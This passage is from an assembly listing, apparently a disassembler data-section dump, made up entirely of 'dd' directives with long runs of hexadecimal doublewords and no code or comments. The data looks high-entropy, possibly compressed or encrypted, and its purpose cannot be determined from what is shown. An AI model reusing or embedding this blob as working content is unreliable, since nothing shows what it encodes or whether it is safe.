0C900D58Ch, 820F6CBEh, 12D012CCh dd 174468D7h, 4BF80844h, 2E961000h, 9D20F5ACh, 0B1106C95h dd 4898098Bh, 544A34D9h, 0C404F0C0h, 881C265Ch, 59EA028Ch dd 0A884CEFEh, 0C21A4A56h, 0E8046212h, 421AD6Ch, 461E0834h dd 3BE1228h, 0ACC58430h, 4694A483h, 855502F8h, 1C7B408Ch dd 855D7500h, 78D7E7FDh, 185905A3h, 0C59397E2h, 814CD438h dd 0BC4EE778h, 0F538071h, 62963427h, 2CC1746Eh, 50A812ACh dd 50A0507Ah, 0D491857Ch, 1042E808h, 0B9B2244h, 2DFCDC6Dh dd 0FCB32896h, 0AE6EEE04h, 996888h, 6BF23575h, 14C0825Fh dd 0FF3EC0E3h, 0FCD8410Bh, 0C3B01AD6h, 90CEB0BCh, 0E9AB0051h dd 3B029C66h, 0D009DCD2h, 56738FC5h, 0DDC81E74h, 0E770704Bh dd 7826B53Ch, 7F1124CEh dd 730EFD80h, 16970308h, 0F5E47Ch, 26D2D90Eh, 0AF0799B5h dd 7F805C96h, 41CBE903h, 0AB7B009Bh, 73AD2304h, 1B121C39h dd 0FCD5D752h, 9C0050B2h, 0C8377626h, 72027FA1h, 71282BF1h dd 0AF94495Ah, 808BE001h, 0EDA9D131h, 627D788h, 0AFB3F9D2h dd 0FD5C815Ch, 0E8BC0077h, 960EBDB4h, 0DCBB0053h, 0E40455A4h dd 0B8B19419h, 33BD408h, 0BE4E120Ah, 0C8E64CA2h, 8916CA74h dd 200AB878h, 8282DCB9h, 2F4505BEh, 8340EC80h, 385C5B6Ah dd 53E88690h, 0BB5A0A21h, 921F24h, 95DCDE64h, 0D304C27Eh dd 4CB6F1D5h, 1C148880h, 2A18022h, 803CE14Ch, 851DFC5Eh dd 0D7640959h, 9851AF7Eh, 64183F79h, 0CD87FF05h, 588173C1h dd 0BAC478A7h, 91CB3BA8h, 860D6CD0h, 9D410820h, 49916017h dd 0D711C380h, 0C65AE2C0h, 0F41D0812h, 3D0757C0h, 0E2A7D0Ch dd 0AD6F8DC1h, 103CC4F6h, 60F80ABh, 159CD386h, 9F22FCAAh dd 35E4820Fh, 22AE4011h, 33787Bh, 0A465C997h, 0CDCA7AA9h dd 3DAB9B0Ch, 0E17010h, 90619A46h, 0E04273F6h, 935ED001h dd 3CFFCD6Dh, 88014455h, 0D977F5F0h, 9C38B0ECh, 66EF80B8h dd 979BCEFFh, 39BC0A0Ah, 0A42098ADh, 0A7E29D20h, 609A44A0h dd 3D9D4B8h, 444913Fh, 0D293CF86h, 0FAA444B5h, 78CFDBEh dd 0B493E302h, 11E6CD00h, 3921007Dh, 0EACF8BFEh, 0F7012072h dd 37A680A7h, 0E080284Eh, 84FD3802h, 0D92F34DDh, 815C8F5Eh dd 29DFCF09h, 0FB47020h, 0A9FED218h, 443CDD82h, 1C106CD8h dd 0A00055D0h, 718A1251h, 0A4E9DAFh, 706030C9h, 4A05BD7h dd 7406C4Ch, 14A2512Ch, 2E684944h, 178FE7F4h, 0C0E69FDDh dd 0A3C638D8h, 0E8E8964Ch, 3A3E8CB0h, 790981D3h, 0F6CC041Fh dd 0C800D321h, 975F112h, 0C885E7EBh, 8061E86Ah, 0BC162AA8h dd 963AB82Ch, 8B2C168Ch, 0CE3A88ACh, 693FAFE6h, 0C219F900h dd 538993A5h, 3696005Fh, 0C36CE4B1h, 9D068F85h, 58AEAA7Eh dd 38A10031h, 930C4F8Ah, 8B139F42h, 830010C5h, 882904FAh dd 0D4621D71h, 0DDB83175h, 221C6398h, 0D0F900DEh, 4C6C4EE2h dd 0D3385AC0h, 282CCDDDh, 3140C442h, 404F1E2Ch, 0D45D1434h dd 0D5646092h, 0E026CECDh, 465E302Dh, 37DB0042h, 0C7AD7713h dd 71C32CA0h, 0C2A278Ch, 0BC972DC0h, 0C0803E91h, 0D2FDF709h dd 0EAD1F600h, 0B877FC92h, 0A8280F5Fh, 0C91EBFC7h, 844568E8h dd 7E6098C4h, 5112815Ah, 188070AEh, 61FA952Ah, 0E0E77C6Dh dd 31B986h, 4A7A29DBh, 0DF539Eh, 65B6668h, 55EB2DE2h, 8C193A01h dd 32301CCEh, 4091C6Ch, 0D4448F10h, 1028346h, 23086F0Fh dd 4E60A859h, 0F00EF9h, 0C2E44DF6h, 73D651CFh, 0E89C51D4h dd 28098CA6h, 805BEE1Ah, 0CF27C45Ch, 4AD0250Ch, 9A35411h dd 804C24F4h, 4F136CDCh, 0A4C21887h, 950F0073h, 999F42F9h dd 0D063FF4Ch, 7F4D9201h, 6588A596h, 0B420E288h, 1D5C57Dh dd 0AF2F57CCh, 306F9668h, 974451ACh, 2FD85B3Bh, 3E234Ch dd 51029417h, 0DD2DD028h, 0C5C00690h, 4BC8B0E8h, 239C3E60h dd 33D2009Eh, 0D6373FD4h, 0A1F97217h, 0CEDFCCD0h, 0A60C30A5h dd 6C395570h, 30CD2D4Ah, 92848847h, 58CF605h, 0F453AF6Ch dd 807B110h, 55AB21A0h, 34EC7704h, 58C45B8h, 0CA06FEDh dd 0CFE04160h, 90BEF4CDh, 6780DF78h, 2BB1D60Bh, 4274BC1Dh dd 0CFCEFD84h, 891B0491h, 104CD9ACh, 0EAC5134Bh, 0A49C30C3h dd 990FE504h, 0E2803270h, 172309Ch, 0EA1744B0h, 809795F9h dd 0B445A768h, 0FB6044E4h, 81CDD4Eh, 9059CF7Fh, 7B2BE4D0h dd 4CE605D8h, 0F0C4BB35h, 810A7006h, 82924060h, 2B5E8F42h dd 0AB2310h, 9F51F71Eh, 977B40C7h, 5B12AC00h, 0AA96E06Eh dd 0E160B086h, 0E40400F2h, 5A0340F2h, 0C42C3946h, 0F6180F67h dd 0C0DD7AAh, 8E10E06Ch, 0B45D560Fh, 0C4B8A943h, 31C02040h dd 0D700B0B0h, 8A51FE07h, 0C44DC414h, 0ACF3A118h, 8CABBCD4h dd 18612200h, 0D9028C5Ah, 9501CB9h, 30D5CB01h, 3C0D60D0h dd 68964034h, 0BB7E020h, 0B91FB007h, 0E4E4D42Fh, 0CBCE0174h dd 55027CFAh, 941EC56h, 402FAA9Fh, 0AFD542B8h, 41C9C014h dd 0A270090Ch, 0C1509FF4h, 0F0655294h, 23BC2F2Eh, 0AF140039h dd 4737CC67h, 467CFCB6h, 27361D3Ah, 78048805h, 0D0FE8CD0h dd 50E2E0h, 4D709E3Ah, 0C50BBF12h, 0DD4739C5h, 5C3A20F4h dd 3300B8F7h, 0CEEBA17Fh, 294EBC08h, 444CA0A1h, 0C08995B6h dd 0B2790871h, 171E2D18h, 8B011C6Eh, 0BFF96FA2h, 0FD21ACh dd 278ECCACh, 0A30609EDh, 0AAF99FCFh, 908B0021h, 5B62AF80h dd 9B000969h, 15B88155h, 39FFB3h, 0DDF3A499h, 87D0EF0Ch dd 0D23AB701h, 0CDA1F297h, 2E54C5h, 58EECEA8h, 9B4898ADh dd 94388418h, 954BAF04h, 0F2E8E264h, 648304Eh, 939DDA00h dd 22B8F75Ch, 443C12D9h, 4F18224Eh, 0C0A23605h, 44941814h dd 2293EC11h, 0CAD83207h, 5C045538h, 6879264Bh, 87A1080h dd 8FC631Fh, 40D834D6h, 0DD6F7002h, 950741Ch, 78E06AE0h dd 1094D086h, 7420F992h, 2FC6CF0h, 0C3A889E4h, 0FC90B8E9h dd 0D524518Dh, 1867F0ACh, 482C4348h, 0AFD96040h, 52C6B56h dd 45FC024Eh, 11538048h, 48406560h, 0CADE0D4h, 3E0086B8h dd 0E01B79F0h, 1051D080h, 1836743Ch, 0DC69EAE8h, 3AFC190Eh dd 289D027h, 8B824A1h, 6A21258h, 400E1C20h, 3CD6D09h, 0E8B0E9E1h dd 0A407E03Dh, 0A0731C91h, 866D9E54h, 124303Ah, 511DF7C7h dd 683877F9h, 38C48B8h, 405EAA7Ah, 3890602Eh, 6900DD51h dd 62FCC683h, 59CF9809h, 0C173A08Eh, 0BBC065C1h, 3A707875h dd 83862F88h, 9FF2C4F4h, 0BDDC6D40h, 384E48C6h, 7498E010h dd 0CEE420F7h, 42AF5D18h, 0F80C489h, 7C5491DBh, 578AE280h dd 0AB003C90h, 86F84C39h, 4DE4086Eh, 0F9189CC1h, 0A6B89C0h dd 350EE3FCh, 10182EAh, 0A1F1D403h, 5D90482Bh, 81D26DC3h dd 0A82343D8h, 0D2659480h, 0DC00EFA7h, 4F86B0C4h, 1841C1Bh dd 0EAFD6D06h, 6A4AE004h, 9B23183Bh, 84085812h, 3883805Ah dd 16C3CFE2h, 0B480825Bh, 2459E87Dh, 8545FB5h, 3C0E5CB4h dd 776904h, 0B1AEDE18h, 36FB1712h, 2800EFEh, 650F4D00h dd 0DC1704CFh, 8C061D2h, 0C02DAC3Ch, 0DF91AAB0h, 8F5EC213h dd 3FE089h, 343A9454h, 0E2835688h, 8345C66h, 0D7029BC9h dd 77142004h, 156444A1h, 0C7031388h, 10187AB4h, 0A52DCBCDh dd 0C5066BCh, 4F1814D7h, 0DC180A40h, 1C59B919h, 0C24E4080h dd 0BC108612h, 0EC0714E4h, 0CFAC4059h, 43380C12h, 88AAE888h dd 9F073A55h, 81CCE48h, 1C145A79h, 0AFC409E6h, 7C76B862h dd 82903F50h, 0E700B0FCh, 0C5EDC910h, 0DC7038BBh, 288B490Ch dd 68400438h, 125B8190h, 0F28464DFh, 2DA70002h, 424C9B95h dd 0CE65FDD7h, 584C4E38h, 31373967h, 0EB5854E9h, 77105214h dd 0A420632Bh, 2D45D542h, 0D8144201h, 0CD1802D7h, 494428A5h dd 0D2320822h, 4D9B78B0h, 88062C24h, 28A3B4D5h, 35696327h dd 82F08024h, 2B935EA0h, 68D5D017h, 0DE5FEC81h, 17C6A7CCh dd 0D157CE86h, 178C3954h, 0E122E750h, 40809D77h, 0B6BFD794h dd 4DC5096h, 84148F28h, 0B8B5C5CEh, 2CC0730h, 5A006258h dd 0B28E20Eh, 5DAB34DDh, 0CF011CC8h, 4D2DDF2Dh, 66EF614Ch dd 2C56D834h, 1C6E3FF9h, 4E2AF603h, 3CAA5924h, 3093C661h dd 4F8840D0h, 52821FA5h, 0ABAA40D7h, 0E223F994h, 6CFA2B00h dd 0F3CA6C2h, 72DC0092h, 8AEB2C5Ah, 3A52D014h, 83E018F8h dd 3CD2ED9h, 0A4CB6338h, 6E0FB633h, 807E6D0Fh, 0DCF67301h dd 12B49EEDh, 0B59813E5h, 0D4D020F0h, 13428B40h, 0A39DB83Ch dd 313DB2A0h, 0EA02F01Bh, 0BC976F00h, 798610CDh, 48FB0166h dd 0EE39560Fh, 0A068A51Fh, 0B5D351B0h, 1C40808Fh, 0F059D42Ah dd 0FDC30C1Eh, 95C44E5h, 48F40440h, 0B7547020h, 98B79D09h dd 2EBC087Ch, 4A24A401h, 920788B0h, 5CF26913h, 938B9800h dd 0FBA75C48h, 0A2FA2A00h, 0F8FDBF9Ch, 35571354h, 6F048887h dd 0C8A5CF17h, 10FC2CA1h, 0AC5E0276h, 3D5B5936h, 27701482h dd 0F3C43CA4h, 30A3E26Ch, 20B5DFA7h, 4225AB9Ch, 443800D4h dd 9B51DA5Bh, 0E00432B1h, 502CD913h, 0C5013CFDh, 0CB86B9EAh dd 8838386Ch, 0D271C061h, 635CD8FCh, 6990E00Ch, 35CF01D2h dd 0F0ED812Eh, 24363AA3h, 6C682C70h, 73294F08h, 0C10A050h dd 0A4093A50h, 2C67596Fh, 0D0604264h, 74036C7Bh, 5E3EB459h dd 27E988CCh, 5CDD006Dh, 73F85F25h, 0FC04D942h, 0EC1CA2C1h dd 8524CCB8h, 39A80808h, 47700B25h, 603C6484h, 107B209h dd 9FD6EB4Fh, 34BC1C42h, 0D54BAF40h, 0E1D1F000h, 13A75A8Eh dd 0B2483768h, 3F202A4h, 767349E4h, 454676D8h, 9A86B83Bh dd 794B401Ch, 0F921EA64h, 0B00A4BDh, 61484CCBh, 0B0BCB1BAh dd 55E57340h, 0D08400ADh, 14A1BD91h, 6802F757h, 24D74381h dd 5A8CC980h, 93211C23h, 6C805C91h, 5BD903D2h, 10416B5h dd 0CDD26495h, 20B2AF94h, 0C04B4498h, 7FD87870h, 471C24E0h dd 0ACD541ACh, 4CA20589h, 0C5B0800Eh, 182EE860h, 0A0C8701Dh dd 0CF2413BAh, 0C04388A4h, 921A24F0h, 0D803C614h, 76B510D0h dd 582CD704h, 0CE4A064h, 0EEA35188h, 559F2511h, 46AE2498h dd 482859C0h, 3BFE1B6Eh, 0EC804BE9h, 4FE38715h, 0DA3ED965h dd 550580FFh, 0ADEF1FA7h, 0E8721A3Ah, 84E4497Ah, 48DA9A00h dd 5E671629h, 12B90036h, 7C53059Ch, 8348E2C4h, 41E83C40h dd 6C134010h, 89C10E33h, 9F603DE1h, 2C4FAAA4h, 5BFE1000h dd 4BC7133Bh, 0A7F90FD1h, 5A40EEE9h, 613C5CDFh, 942F524Ah dd 0ED004D23h, 0F548F6CDh, 6B3C16E5h, 0B830A081h, 9C003341h dd 0FBBC09EAh, 88B4122Fh, 108B7024h, 115A2CD0h, 0E8005DAFh dd 0D21A6831h, 5100A010h, 8C833323h, 708687AAh, 0DC455CC6h dd 0C7E90407h, 0ACA85465h, 697613A4h, 0E9B3F0A6h, 0A020C8B0h dd 5434041Bh, 0C8EC9D91h, 1C245909h, 8C96A478h, 8B53C944h dd 0C543C8C0h, 0F497C09Bh, 5A1732B3h, 403508Ah, 4070442Ch dd 5009C168h, 4EFC439h, 11988104h, 2A8082B4h, 40E4902Bh dd 0BC70540Ch, 9E297CAFh, 48467628h, 96A8E900h, 0EF6D7866h dd 39C4090Bh, 20F4F2BBh, 9F735Ch, 0CEEFCF88h, 94A820C5h dd 2C343A2Eh, 0BA5B4643h, 0A8F44823h, 2D14BCBh, 60578228h dd 706EE082h, 0E76C845Dh, 8B008CBDh, 5A3FC655h, 0DA0238ABh dd 86C2BBC3h, 6034FCFCh, 0BD10C74Ch, 9B62E700h, 91BBD25Fh dd 0A09C6Bh, 0B46A8B39h, 5417BEEAh, 800911A4h, 24E05E3Dh dd 18FB746Ch, 6930942Ah, 0A710AC76h, 0BFE7EB03h, 139C31DBh dd 14D34012h, 73E8125Dh, 0F214A257h, 3FEF3043h, 0A907E600h dd 0BAF63364h, 2C511521h, 1216C4E0h, 0F028D5E4h, 41C158FCh dd 0B0C8C557h, 3C164068h, 0CC90C1A4h, 7B1CE1E6h, 3B23DC3Fh dd 9066020Bh, 40D3D574h, 0DC04418Eh, 0AC58ADC6h, 628864ECh dd 100B38A6h, 45D49036h, 4EB8099h, 0D9604A97h, 189979B8h dd 565E03C7h, 68D87735h, 48546810h, 8C161858h, 28CC3097h dd 0E0DE2D1h, 69AEF9BEh, 0E8B82C69h, 13C9E601h, 66B40899h dd 68F4C888h, 6AA33A00h, 2AA1818Eh, 97C4CCA5h, 0C6A0D444h dd 500D10Eh, 3A4C1BEDh, 0BF385BA1h, 1E44C90h, 0E010B242h dd 0CC187C4Ah, 0F9189FD9h, 161C9C0Eh, 0B07CB661h, 0F03B41A1h dd 4A8405ABh, 0E018C5CDh, 17BD6E68h, 899B91ACh, 7FE418D6h dd 0A9D0065h, 0D441FCF4h, 1027ADC5h, 4518E49Ah, 0F57C21D6h dd 90727F4Fh, 40F47E9Dh, 0A2ABDFBDh, 0D5F9AA05h, 0CC0789Bh dd 3911B481h, 283F0372h, 27BE3709h, 800B08D8h, 825BCF3Eh dd 0A834044h, 47480884h, 61A7F60Eh, 728A75B5h, 5BB0CC6Bh dd 12AC2DEBh, 7C90D386h, 40EC3C21h, 775BF641h, 49ECF4C9h dd 58D70044h, 17E31B67h, 5C07CEE0h, 84BF6A45h, 0A915DC8Ah dd 3E5B16E8h, 0C40994F2h, 0AC76AA9Dh, 59E8F152h, 26EA18ABh dd 240F057h, 0AD828345h, 60002059h, 844E0B6h, 72775C25h dd 0F05D2C00h, 0FAD1BEE7h, 0A89FE601h, 0ADCF5A65h, 27E303Dh dd 0EED27F3Eh, 0E4F04E32h, 7DD3944h, 0AD3AA1Eh, 0BE899CF9h dd 0F4CD044Fh, 0BC4985C1h, 0AE293822h, 40371FA8h, 0CB94F741h dd 395EE388h, 93BDFC1Dh, 80C8D4FBh, 800C94DFh, 23A983B9h dd 80777F8Bh, 130C495h, 0F4CE0B74h, 0DCA757C5h, 4900EBE4h dd 9C1580CAh, 68FE3C7h, 0A5D3A89Eh, 871668C0h, 40545F72h dd 8C9DE878h, 0CADC5501h, 0E4046582h, 0BC6964DDh, 11BEB10h dd 3A2FE337h, 88E46D7Bh, 1A760E8Eh, 0EAEF4877h, 62D31253h dd 0B4C07B98h, 41415C3Ch, 82A5D83Ch, 0EF291FA0h, 0A71C21DCh dd 9DC084C8h, 0ED664780h, 5028307Fh, 30B48544h, 190C3C60h dd 3BC044B4h, 4E536DB0h, 0B4911B38h, 62CF9F9h, 0CF0B9022h dd 3878300Ch, 3B1B9101h, 5AC02C42h, 7C40507Bh, 26D8402Ch dd 0EF3C1DF0h, 0A0BB066h, 6E7CC5DCh, 8EE89118h, 0EA855E84h dd 0EC202C47h, 10BFC922h, 4847C804h, 1961304Ch, 51D0F71Fh dd 700CA852h, 0E41221BEh, 5043520Bh, 8C782770h, 3E8598B9h dd 0BE03286Eh, 0FFE581EAh, 834A088h, 6D0889BDh, 6BA2C358h dd 8DFF5AE0h, 3ACF360Ah, 920D8DC0h, 86A29DCh, 86929E28h dd 0FAF1E4E5h, 3B07B43Dh, 0E089BC35h, 6AFB755Bh, 88C58A00h dd 81B30A64h, 0F8610066h, 55874CD6h, 9000E312h, 0B6379306h dd 0CCD06546h, 0AD20D74Ah, 0E18A2F00h, 0E93743CDh, 2C7F857h dd 0F9D6F645h, 0C54DD61h, 0FEBAF780h, 3A9CA6h, 0CF6347F5h dd 701A455Ah, 570E4E00h, 0D77F7BF7h, 0FC541FF8h, 84C8048Ah dd 5DD4D256h, 0F0E42Bh, 0D304E8Eh, 0E34927F5h, 643797h dd 39F4A1DDh, 0C90282D5h, 0C4078D3h, 9D4D8ACh, 23E111CDh dd 816F4827h, 0F1AB9366h, 0A2A7D06Eh, 937A001h, 8E3F9449h dd 74B9D3D7h, 4AE17361h, 415C90D5h, 4004089Dh, 0F0C585E9h dd 0C95040B0h, 1871CB10h, 344DA507h, 2D500509h, 2BC4EC50h dd 384428BAh, 2843F0A8h, 44CFAAC3h, 4C0C5811h, 7581CC3Ch dd 0F73F74A1h, 345BD090h, 980F4B6h, 0E1A99439h, 240AD36h dd 335B86A1h, 5E007CC4h, 8E41EA6Dh, 14B6DA01h, 0E050DD4Eh dd 0EBF8478Ch, 8AE40F48h, 0CD63C91h, 0CF0CC485h, 0FA273750h dd 0D5D09039h, 1031CA83h, 19425434h, 0FE4284F0h, 0CAE56E04h dd 4886012Bh, 0D07F00D1h, 8D415AA6h, 0DF4CD708h, 0E7BCD164h dd 0D0B8DB08h, 60DFF5EDh, 22238FC9h, 2730C5ECh, 0BE398C2Dh dd 61511132h, 0E2548407h, 490B0323h, 8422F73Ah, 12409284h dd 0A655088h, 0C7379A0Ch, 4BE06E02h, 40DC8519h, 86C88A70h dd 0CAE6B8FAh, 0CF83BC9Eh, 0E5CD90E8h, 90122062h, 4819E8BCh dd 6E2478ECh, 100EAD9Ch, 0C01027A0h, 396ADC8Fh, 933C1008h dd 30F844B2h, 64280AEh, 6291544Ah, 0D26A0819h, 769E10C0h dd 945808C3h, 2D60E14Eh dd 0D58F2088h, 10DED40Ch, 81E62C1h, 46023426h, 8ECD03F8h dd 403E3838h, 4321C607h, 213140DAh, 42D10875h, 0C34C1888h dd 38A47A0Dh, 0B301F3CDh, 22108CAFh, 634820D4h, 181B182Ah dd 2ED10810h, 288FCE18h, 10C4120Bh, 5A0C8DA6h, 9CCEE29h dd 63A449E2h, 82F320C0h, 967D0810h, 28406C18h, 8C4F429h dd 0C5041460h, 0D603060Bh, 8B5B2040h, 0F10C2433h, 0CB1831DBh dd 90C785F1h, 68183BE1h, 0A76130A5h, 86A608C4h, 0CA2BA04h dd 0CA2D51AEh, 88BCD481h, 8A0DFC4Dh, 0A2CE10A8h, 3C42D88h dd 1010C11Fh, 0EE10C974h, 91B13195h, 108C849Eh, 3F48017Bh dd 63ED8740h, 3D8610FDh, 0A6560819h, 89883918h, 1F0CFB63h dd 449F0804h, 32813A0Bh, 8C449051h, 9903088h, 10A1150Ch dd 0CC1340B0h, 0AB081A63h, 0C9019CEh, 51030873h, 98851C9Ch dd 13198B30h, 255881EFh, 121CD30h, 0AD01FE0Eh, 9F760141h dd 1E52001h, 94011013h, 77088832h, 0F11B1907h, 889C5173h dd 5A1895F1h, 44DD24C0h, 8D79F8Ch, 0C3B1C6E1h, 0F533209Eh dd 107110E4h, 2AEE7809h, 0C8209C09h, 0D06E54B1h, 487466CEh dd 3531613Eh, 0DC4128DDh, 0CCBE0889h, 8DCC1428h, 0ED10D80Ch dd 275424E3h, 1824AC81h, 0CFF4A8F0h, 0B218DD2Ch, 0C4A27199h dd 0CC02330Eh, 3629028Dh, 8936D04h, 0DEB13139h, 1A08FA9h dd 88CBC66h, 0E0203C5Ch, 0F7082966h, 0FC075461h, 32089A14h dd 0A710F0C9h, 52BD9449h, 1C481A9Ch, 0FB8095A8h, 9C08CA90h dd 4A7A92A4h, 99D44FFCh, 8883F947h, 0C238829h, 1D10B77Fh dd 56089962h, 734C6B1Fh, 34749271h, 86183140h, 0F15408C4h dd 69C4EBB0h, 7D040E8Bh, 4ACC9522h, 8C80B3E0h, 92A9A92Ch dd 798CE181h, 0FF28254Ah, 40BEAF40h, 0EA6448A1h, 2891FE18h dd 5700BF75h, 0FA4CA313h, 876E89A4h, 405966EDh, 180FF6D8h dd 104FDE8Ah, 0A3007627h, 0A1E2501Bh, 4E9B93CFh, 0ADB89038h dd 4B07B855h, 8A8092D1h, 0AC66590h, 93363A1Bh, 0C74F8102h dd 98E64838h, 0D7005798h, 997C879Bh, 604EE0BEh, 9C1020C6h dd 58B811D4h, 48F6D10Eh, 21512B2Dh, 27DDB13Dh, 0A0A0DEDDh dd 0A0D17808h, 5CF65414h, 3880F4A9h, 0F7649E6h, 1347A703h dd 948CE39h, 8AF8FE11h, 0F660505Ah, 0D159B3B0h, 53930F56h dd 0AB01D728h, 9D723A2Eh, 0CFCD950h, 108B2BAFh, 0E8C9179Fh dd 0F50C8002h, 0B440BFF8h, 0B406F866h, 26A102C0h, 0EBC0F636h dd 6A0D8B42h, 28A20DF9h, 8E1018F3h, 7161193Eh, 18601B80h dd 791DC3AFh, 0A5F05FD4h, 0A4AD2040h, 0F4A000DCh, 106CFBD0h dd 0B07894AAh, 0FD9C3F50h, 0C0614400h, 0E08BA090h, 2345E3Ch dd 0DBF99408h, 4001F8FEh, 0B414C8EDh, 52CD9848h, 2600D44Ah dd 365AC093h, 0A0DDBB8Ah, 7713AF50h, 80B21C8Ch, 7EFCC7CCh dd 501EED45h, 140CCDA0h, 906F117Fh, 0E0E20A36h, 80F0050Eh dd 725670AEh, 2F37F940h, 0E9550B0h, 6C0D9016h, 981728B6h dd 9AAF5EC0h, 82A0C932h, 0C0F40Bh, 0DCF8853Ah, 0FF999400h dd 0D5CA0238h, 581D06A6h, 0B0934308h, 47114C18h, 5C881060h dd 0DB878C56h, 93A33E8Ah, 19006DE8h, 0FDB4F486h, 6167F979h dd 5C7298B8h, 9029E3h, 7309DD51h, 0A086736h, 6CDCF9A7h dd 80CB909Ch, 9DE1104Fh, 86F1CA12h, 8AFA823Ch, 7B024E55h dd 0C2E0003Ch, 504E5B4Ch, 6CC9545Fh, 0EB570B94h, 0C21FD04h dd 0C7F083D7h, 5C12B516h, 4060208Fh, 6C9AB0EEh, 118018C0h dd 0E44D5AF3h, 88783E90h, 0A939B452h, 77395540h, 0F5BC00F2h dd 480BD6BEh, 2843540Fh, 341350C8h, 4ACE063Ah, 10449CF9h dd 0ECE86412h, 0DC78E0h, 19325FB9h, 0AF8BE211h, 60566124h dd 0F4AB9380h, 0C192BAF8h, 0D34BE949h, 30CDF1A3h, 3B740814h dd 80A6332h, 7FA8813Ah, 903E3565h, 6DDFCF64h, 877C9001h dd 1F4AD13Ah, 2EAF4086h, 0A700687Fh, 95F17884h, 0FDD840h dd 5BAB7712h, 0AF4C1E69h, 28979930h, 30E86C36h, 0FF58747Eh dd 94856F8h, 386A2414h, 28D8F415h, 30F0B4EBh, 0BE31740h dd 0CDC7E7F2h, 1090B0FAh, 5E9FEF0h, 6A9BA803h, 0DF5F89D9h dd 51FC48h, 7EF95801h, 261A7212h, 35E88A0Ch, 3ADD209Ah dd 0FA01C151h, 0A8E7EED8h, 0C91892CAh, 2E531401h, 0A452A190h dd 0F779019Bh, 0A3718152h, 89FEAD6Ah, 0E46939CCh, 5C789Dh dd 0B5F8879Eh, 0A998E05Dh, 0D1621300h, 0BF36EDF5h, 89100053h dd 0F929B95Eh, 0F412C8F8h, 6467EBA2h, 0B34285C0h, 0F3D1126Ah dd 0AD18D48Ah, 84F704ECh, 5C418B0Ch, 221178AFh, 6B611F3Ch dd 79A89100h, 30E87288h, 0F238DD57h, 6C0FEF22h, 85A23D2Eh dd 0F040BC5Ch, 0C834933Eh, 6E140043h, 60B5FD87h, 90AA6F5h dd 0ECEC276Ah, 0CDF4D084h, 908F84C0h, 0DCD12893h, 0FB580608h dd 986503F8h, 0D8C4E030h, 884B36CEh, 6E48E7CFh, 1AF45024h dd 8E10D0C0h, 0A06A2320h, 0EE9CED98h, 2CF91815h, 3C684896h dd 0D4D22B07h, 38D3A091h, 0F4D1F8CCh, 26EB90E1h, 9388342h dd 8A06D9Ah, 1377B3EAh, 0F2AFA00Ah, 1F098C08h, 0D428028Bh dd 0BBD303A7h, 70991010h, 509C8900h, 90A1E00Bh, 0BAF99E0Ch dd 0CB85094h, 128AB0DDh, 403C8128h, 105612F0h, 12FE5433h dd 214CEF18h, 0D2B3553Ch, 5F1734CCh, 74C201EAh, 3F04604Bh dd 0CFE883BDh, 340564F2h, 0BC1D2E16h, 0FEB3C005h, 0B9B79406h dd 0A4F75C48h, 0E1D212h, 0A6F2A400h, 870389ACh, 5F73FED1h dd 2449E7EEh, 9081EC84h, 38A48828h, 1D0701E0h, 219D10C7h dd 0A34883D6h, 89E721FEh, 0B8873409h, 0F01FF7C7h, 8A423322h dd 9890A0B0h, 4B28620h, 0DAC5FF98h, 3A04E42Eh, 0CC48CCB0h dd 8B120198h, 29F3E056h, 0F982E98Bh, 0CC909889h, 638834EDh dd 605EF08Bh, 18C61036h, 8D0AF531h, 0E4BC08F9h, 5C20E597h dd 145AA8F7h, 94A5D4B1h, 0DC4A9E0Eh, 6CFC6FC3h, 0B04090F2h dd 0FD7E3FF9h, 0D0F85814h, 5B3A00CCh, 24FE68C3h, 9A8602A3h dd 51E86D79h, 8024F85Eh, 56B31285h, 3CAAC8B0h, 2880A165h dd 6260D138h, 0C70F49EAh, 14E69F8h, 1FCCE05Ch, 8A399880h dd 0AF7F3147h, 2C91097Eh, 40D859B4h, 0B9D5E7Ah, 0E80340E8h dd 3E4B3ACh, 44D750E0h, 0DDCEA050h, 0C7086620h, 311011F8h dd 81AC7447h, 0C7F99B1Ch, 14418993h, 18EBE085h, 51AF5B00h dd 74015892h, 66A16D65h, 60F19193h, 0A8E80A2Ah, 0C0B81740h dd 0E9E871B0h, 0F60EA0BCh, 20BDACF8h, 16589875h, 386BE40h dd 635FE082h, 0AF626804h, 8C067D19h, 0F92A8836h, 6F08E031h dd 2664BB67h, 5BF4ACF8h, 57ECA9C8h, 0DC645E24h, 1F458D00h dd 0E60F476Ah, 24A5BE8h, 670A2ED4h, 3C80D905h, 0BBF79F5h dd 721FB3A1h, 0C2C36C80h, 0F910571Eh, 5F01A48Ah, 73B050ADh dd 49E04059h, 8C00D765h, 9AB8C938h, 37AF61A2h, 0E5599E76h dd 0C5B8208Bh, 0C278B3FAh, 0C883624h, 0A8091F12h, 0F7444002h dd 7680F7Eh, 5845DA78h, 804EC7CEh, 0A065F992h, 0A00580D3h dd 8E805EC9h, 6DE247h, 678A85A8h, 0EA92D337h, 0F6F8702h dd 68809070h, 98CEFD24h, 14C506F8h, 805AC2BAh, 8083BB40h dd 0A168BCF9h, 201C9060h, 48F6CE85h, 8414D084h, 32F98238h dd 0A9184205h, 38988B28h, 49B25F5Ch, 432ED45Dh, 0F95A0000h dd 467656AAh, 0CE383707h, 0DB32D2C3h, 0B1DC6247h, 7CFE7F68h dd 0B6134E4h, 5818D060h, 18A18B10h, 51A053DBh, 0F9C20806h dd 9A00E15h, 57E56770h dd 8C261424h, 80B0ABC8h, 9CCC30D0h, 0C130AC2Ch, 4D9DE882h dd 0A45C5C2Eh, 0A8086880h, 44A9F8D1h, 37F908B0h, 3A783A63h dd 6F023EECh, 810CAF5Dh, 84806C7Ch, 0D04E5A73h, 385300A4h dd 18459801h, 60ED477Ah, 0D54050A8h, 0F7D9C102h, 25611479h dd 0F95885F0h, 482D7FCBh, 92E3C41h, 0DC618902h, 3BC4526Ch dd 4C0890Bh, 0D000270Ch, 108256A5h, 4E6F9601h, 9BF9A2FDh dd 0C5000428h, 3817A1E2h, 3A1F55D2h, 0F70159ECh, 4E39E870h dd 0B4F2AC51h, 12061872h, 0A93656AFh, 4CAD6226h, 60A7046Fh dd 18940612h, 0D8A1413Eh, 0E46237h, 5C701447h, 2CAB57E3h dd 9C8691Fh, 4E80117Bh, 0DD0184FEh, 2EB40F1Dh, 0F9098F79h dd 9059B971h, 50D65F30h, 0AB8C43Ch, 7EB1AFD9h, 2A8A0C0h dd 0C2C1335Fh, 2CC456CDh, 0B8E8650Ch, 0ECDE80D0h, 21C4008Ch dd 0D2A2CF25h, 0CE12402Bh, 5C0092FEh, 4A633E01h, 770B0499h dd 1FA98EE8h, 